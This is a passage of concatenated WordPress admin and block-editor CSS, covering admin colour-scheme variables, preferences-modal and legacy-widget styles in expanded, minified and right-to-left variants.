  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.reusable-blocks-menu-items__convert-modal{
  z-index:1000001;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.reusable-blocks-menu-items__convert-modal{z-index:1000001}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.reusable-blocks-menu-items__convert-modal{z-index:1000001}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.reusable-blocks-menu-items__convert-modal{
  z-index:1000001;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.preference-base-option+.preference-base-option{
  margin-top:16px;
}
.preference-base-option .components-base-control__help{
  margin-left:48px;
  margin-top:0;
}

@media (min-width:600px){
  .preferences-modal{
    height:calc(100% - 120px);
    width:calc(100% - 32px);
  }
}
@media (min-width:782px){
  .preferences-modal{
    width:750px;
  }
}
@media (min-width:960px){
  .preferences-modal{
    height:70%;
  }
}
@media (max-width:781px){
  .preferences-modal .components-modal__content{
    padding:0;
  }
}

.preferences__tabs-tablist{
  left:16px;
  position:absolute;
  top:84px;
  width:160px;
}

.preferences__tabs-tab{
  border-radius:2px;
  font-weight:400;
}
.preferences__tabs-tab[aria-selected=true]{
  background:#f0f0f0;
  box-shadow:none;
  font-weight:500;
}
.preferences__tabs-tab[aria-selected=true]:after{
  content:none;
}
.preferences__tabs-tab[role=tab]:focus:not(:disabled){
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.preferences__tabs-tab:focus-visible:before{
  content:none;
}

.preferences__tabs-tabpanel{
  margin-left:160px;
  padding-left:24px;
}

@media (max-width:781px){
  .preferences__provider{
    height:100%;
  }
}
.preferences-modal__section{
  margin:0 0 2.5rem;
}
.preferences-modal__section:last-child{
  margin:0;
}

.preferences-modal__section-legend{
  margin-bottom:8px;
}

.preferences-modal__section-title{
  font-size:.9rem;
  font-weight:600;
  margin-top:0;
}

.preferences-modal__section-description{
  color:#757575;
  font-size:12px;
  font-style:normal;
  margin:-8px 0 8px;
}

.preferences-modal__section:has(.preferences-modal__section-content:empty){
  display:none;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.preference-base-option+.preference-base-option{margin-top:16px}.preference-base-option .components-base-control__help{margin-left:48px;margin-top:0}@media (min-width:600px){.preferences-modal{height:calc(100% - 120px);width:calc(100% - 32px)}}@media (min-width:782px){.preferences-modal{width:750px}}@media (min-width:960px){.preferences-modal{height:70%}}@media (max-width:781px){.preferences-modal .components-modal__content{padding:0}}.preferences__tabs-tablist{left:16px;position:absolute;top:84px;width:160px}.preferences__tabs-tab{border-radius:2px;font-weight:400}.preferences__tabs-tab[aria-selected=true]{background:#f0f0f0;box-shadow:none;font-weight:500}.preferences__tabs-tab[aria-selected=true]:after{content:none}.preferences__tabs-tab[role=tab]:focus:not(:disabled){box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.preferences__tabs-tab:focus-visible:before{content:none}.preferences__tabs-tabpanel{margin-left:160px;padding-left:24px}@media (max-width:781px){.preferences__provider{height:100%}}.preferences-modal__section{margin:0 0 2.5rem}.preferences-modal__section:last-child{margin:0}.preferences-modal__section-legend{margin-bottom:8px}.preferences-modal__section-title{font-size:.9rem;font-weight:600;margin-top:0}.preferences-modal__section-description{color:#757575;font-size:12px;font-style:normal;margin:-8px 0 8px}.preferences-modal__section:has(.preferences-modal__section-content:empty){display:none}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.preference-base-option+.preference-base-option{margin-top:16px}.preference-base-option .components-base-control__help{margin-right:48px;margin-top:0}@media (min-width:600px){.preferences-modal{height:calc(100% - 120px);width:calc(100% - 32px)}}@media (min-width:782px){.preferences-modal{width:750px}}@media (min-width:960px){.preferences-modal{height:70%}}@media (max-width:781px){.preferences-modal .components-modal__content{padding:0}}.preferences__tabs-tablist{position:absolute;right:16px;top:84px;width:160px}.preferences__tabs-tab{border-radius:2px;font-weight:400}.preferences__tabs-tab[aria-selected=true]{background:#f0f0f0;box-shadow:none;font-weight:500}.preferences__tabs-tab[aria-selected=true]:after{content:none}.preferences__tabs-tab[role=tab]:focus:not(:disabled){box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.preferences__tabs-tab:focus-visible:before{content:none}.preferences__tabs-tabpanel{margin-right:160px;padding-right:24px}@media (max-width:781px){.preferences__provider{height:100%}}.preferences-modal__section{margin:0 0 2.5rem}.preferences-modal__section:last-child{margin:0}.preferences-modal__section-legend{margin-bottom:8px}.preferences-modal__section-title{font-size:.9rem;font-weight:600;margin-top:0}.preferences-modal__section-description{color:#757575;font-size:12px;font-style:normal;margin:-8px 0 8px}.preferences-modal__section:has(.preferences-modal__section-content:empty){display:none}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.preference-base-option+.preference-base-option{
  margin-top:16px;
}
.preference-base-option .components-base-control__help{
  margin-right:48px;
  margin-top:0;
}

@media (min-width:600px){
  .preferences-modal{
    height:calc(100% - 120px);
    width:calc(100% - 32px);
  }
}
@media (min-width:782px){
  .preferences-modal{
    width:750px;
  }
}
@media (min-width:960px){
  .preferences-modal{
    height:70%;
  }
}
@media (max-width:781px){
  .preferences-modal .components-modal__content{
    padding:0;
  }
}

.preferences__tabs-tablist{
  position:absolute;
  right:16px;
  top:84px;
  width:160px;
}

.preferences__tabs-tab{
  border-radius:2px;
  font-weight:400;
}
.preferences__tabs-tab[aria-selected=true]{
  background:#f0f0f0;
  box-shadow:none;
  font-weight:500;
}
.preferences__tabs-tab[aria-selected=true]:after{
  content:none;
}
.preferences__tabs-tab[role=tab]:focus:not(:disabled){
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.preferences__tabs-tab:focus-visible:before{
  content:none;
}

.preferences__tabs-tabpanel{
  margin-right:160px;
  padding-right:24px;
}

@media (max-width:781px){
  .preferences__provider{
    height:100%;
  }
}
.preferences-modal__section{
  margin:0 0 2.5rem;
}
.preferences-modal__section:last-child{
  margin:0;
}

.preferences-modal__section-legend{
  margin-bottom:8px;
}

.preferences-modal__section-title{
  font-size:.9rem;
  font-weight:600;
  margin-top:0;
}

.preferences-modal__section-description{
  color:#757575;
  font-size:12px;
  font-style:normal;
  margin:-8px 0 8px;
}

.preferences-modal__section:has(.preferences-modal__section-content:empty){
  display:none;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.wp-block-legacy-widget__edit-form{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  max-height:calc(100vh - 2px);
  overflow-y:scroll;
  padding:11px;
}
.wp-block-legacy-widget__edit-form:not([hidden]){
  display:flow-root;
}
.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{
  color:#000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:14px;
  font-weight:600;
  margin:0 0 12px;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{
  border:none;
  box-shadow:none;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{
  margin:8px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  font-size:13px;
  line-height:2.1;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  color:#000;
  font-family:system-ui;
  font-weight:400;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  background-color:initial;
  border:1px solid #757575;
  border-radius:3px;
  box-shadow:none;
  box-sizing:border-box;
  color:#000;
  display:block;
  font-family:system-ui;
  font-size:13px;
  font-weight:400;
  line-height:1;
  margin:0;
  min-height:30px;
  padding-bottom:8px;
  padding-left:8px;
  padding-top:8px;
  width:100%;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  padding-left:4px;
}
.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{
  z-index:0;
}

.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  color:#000;
}

.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{
  cursor:pointer;
}
.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{
  border:1px solid #949494;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block-legacy-widget__edit-preview.is-offscreen{
  left:-9999px;
  position:absolute;
  top:0;
  width:100%;
}

.wp-block-legacy-widget__edit-preview-iframe{
  overflow:hidden;
  width:100%;
}

.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  background:#f0f0f0;
  padding:8px 12px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{
  font-size:14px;
  font-weight:600;
  margin:4px 0;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  margin:4px 0;
}

.wp-block-legacy-widget-inspector-card{
  padding:0 16px 16px 52px;
}

.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{
  font-weight:500;
  margin:0 0 5px;
}

.is-selected .wp-block-legacy-widget__container{
  min-height:50px;
  padding:8px 12px;
}

.components-popover__content .wp-block-legacy-widget__edit-form{
  min-width:400px;
}

.wp-block-widget-group.has-child-selected:after{
  border:1px solid var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-widget-group .widget-title{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  font-weight:600;
}

.wp-block-widget-group__placeholder .block-editor-inserter{
  width:100%;
}

.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-block-legacy-widget__edit-form{background:#fff;border:1px solid #1e1e1e;border-radius:2px;max-height:calc(100vh - 2px);overflow-y:scroll;padding:11px}.wp-block-legacy-widget__edit-form:not([hidden]){display:flow-root}.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:14px;font-weight:600;margin:0 0 12px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{border:none;box-shadow:none;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{margin:8px 0}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-size:13px;line-height:2.1}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{color:#000;font-family:system-ui;font-weight:400}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{background-color:initial;border:1px solid #757575;border-radius:3px;box-shadow:none;box-sizing:border-box;color:#000;display:block;font-family:system-ui;font-size:13px;font-weight:400;line-height:1;margin:0;min-height:30px;padding-bottom:8px;padding-left:8px;padding-top:8px;width:100%}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{padding-left:4px}.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{z-index:0}.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{color:#000}.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{cursor:pointer}.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{border:1px solid #949494;border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-legacy-widget__edit-preview.is-offscreen{left:-9999px;position:absolute;top:0;width:100%}.wp-block-legacy-widget__edit-preview-iframe{overflow:hidden;width:100%}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{background:#f0f0f0;padding:8px 12px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{font-size:14px;font-weight:600;margin:4px 0}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{margin:4px 0}.wp-block-legacy-widget-inspector-card{padding:0 16px 16px 52px}.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{font-weight:500;margin:0 0 5px}.is-selected .wp-block-legacy-widget__container{min-height:50px;padding:8px 12px}.components-popover__content .wp-block-legacy-widget__edit-form{min-width:400px}.wp-block-widget-group.has-child-selected:after{border:1px solid var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-widget-group .widget-title{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;font-weight:600}.wp-block-widget-group__placeholder .block-editor-inserter{width:100%}.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-block-legacy-widget__edit-form{background:#fff;border:1px solid #1e1e1e;border-radius:2px;max-height:calc(100vh - 2px);overflow-y:scroll;padding:11px}.wp-block-legacy-widget__edit-form:not([hidden]){display:flow-root}.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:14px;font-weight:600;margin:0 0 12px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{border:none;box-shadow:none;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{margin:8px 0}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-size:13px;line-height:2.1}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{color:#000;font-family:system-ui;font-weight:400}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{background-color:initial;border:1px solid #757575;border-radius:3px;box-shadow:none;box-sizing:border-box;color:#000;display:block;font-family:system-ui;font-size:13px;font-weight:400;line-height:1;margin:0;min-height:30px;padding-bottom:8px;padding-right:8px;padding-top:8px;width:100%}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{padding-right:4px}.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{z-index:0}.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{color:#000}.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{cursor:pointer}.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{border:1px solid #949494;border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-legacy-widget__edit-preview.is-offscreen{position:absolute;right:-9999px;top:0;width:100%}.wp-block-legacy-widget__edit-preview-iframe{overflow:hidden;width:100%}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{background:#f0f0f0;padding:8px 12px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{font-size:14px;font-weight:600;margin:4px 0}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{margin:4px 0}.wp-block-legacy-widget-inspector-card{padding:0 52px 16px 16px}.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{font-weight:500;margin:0 0 5px}.is-selected .wp-block-legacy-widget__container{min-height:50px;padding:8px 12px}.components-popover__content .wp-block-legacy-widget__edit-form{min-width:400px}.wp-block-widget-group.has-child-selected:after{border:1px solid var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-widget-group .widget-title{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;font-weight:600}.wp-block-widget-group__placeholder .block-editor-inserter{width:100%}.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.wp-block-legacy-widget__edit-form{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
